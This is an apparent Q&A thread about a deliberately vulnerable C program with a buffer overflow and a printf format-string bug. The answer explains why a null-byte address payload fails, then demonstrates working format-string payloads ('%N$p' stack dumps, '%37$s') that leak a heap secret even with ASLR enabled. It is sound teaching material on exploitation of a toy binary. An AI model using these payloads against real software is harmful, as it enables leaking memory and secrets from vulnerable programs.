consider the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(char *user_input)
{
char buf[128];
strcpy(buf, user_input);
printf(buf);
printf("\n");
}
int main(int argc, const char * argv[]) {
// insert code here...
char *secret = (char *) malloc(5);
strcpy(secret, "4067");
printf("secret is at: %p\n", secret);
vuln(argv[1]);
return 0;
}
I compiled this code with the following command in gcc in Raspberry OS (RPi 3):
gcc -fno-stack-protector -z execstack format.c -o format
After which, I disabled ASLR on my Raspberry OS. The output of the program is as followed:
$ ./format AAAA
secret is at: 0x22150
AAAA
So in order to print the secret, I used the following:
$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
which gave me the following output:
$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
secret is at: 0x22150
\x50\x21\x02\x00 7e8d77eb.0.7e8d74a8.76f5a4f8.\x50\x21\x02\x00 %x.%x.%x.%x.%s
For some reason, %s printed the string but not the content as specified by the address \x50\x21\x02\x00. It used to work a few days ago but after performing an update, it does not work anymore. What can I do to make it work again?
Any advice would be appreciated.
The key issue here is the null byte in the address: in your example above, the "secret" is stored at 0x00022150
, which when translated for endianess, is the string \x50\x21\x02\x00
as you stated. Note the null byte at the end which is problematic for multiple reasons.
Primarily, strings in C are terminated with a null byte, meaning that strcpy
will copy until the first null byte it sees, which would destroy the second half of your payload containing the %x
. However, the null byte is not even passed to the binary: bash (and I believe other shells) does not like passing null bytes as arguments:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("A\x00b")')
-bash: warning: command substitution: ignored null byte in input
secret is at: 0x22190
Ab
You would not have observed the warning above because your raw hex bytes wern't translated properly either: note the difference in the two outputs below:
pi@raspberrypi:~/tmp$ python3 -c 'print("\x61\x62")' | hexdump
0000000 6261 000a
0000003
pi@raspberrypi:~/tmp$ python3 -c 'print(r"\x61\x62")' | hexdump
0000000 785c 3136 785c 3236 000a
0000009
As such, leaking secret
with the format string bug here is a little challenging. However, if we were to consider that the pointer secret
in main
points to the heap location storing the secret, and that the fsb allows you dereference and print any data on the stack, we can simply tell printf
to "hey, theres a string at this position on the stack", where this is the location of secret
. To identify this, just dump the stack until you see the correct pointer:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("".join([f"%{i}$p." for i in range(30, 40)]))')
secret is at: 0x22190
0xbefffb34.0xb6eadd70.0xbefffb14.0x18c66100.0x1065c.0x10528.0x1065c.0x22190.0xbefffb34.0x1053c.
Note that we see 0x22190
being printed out. We can manually count the offset to, then dump the data at 0x22190
:
pi@raspberrypi:~/tmp$ ./format '%37$p'
secret is at: 0x22190
0x22190
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x22190
4067
It is useful to note here that attempting to print an invalid memory address with %s
will result in a segfault, hence here we tell it to only dereference and dump one address rather than all 10.
As a bonus, since we do not have to specify the actual address of secret
in our payload, this method of attack also works with ASLR enabled.
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0xb84190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1c12190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1f66190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1a29190
4067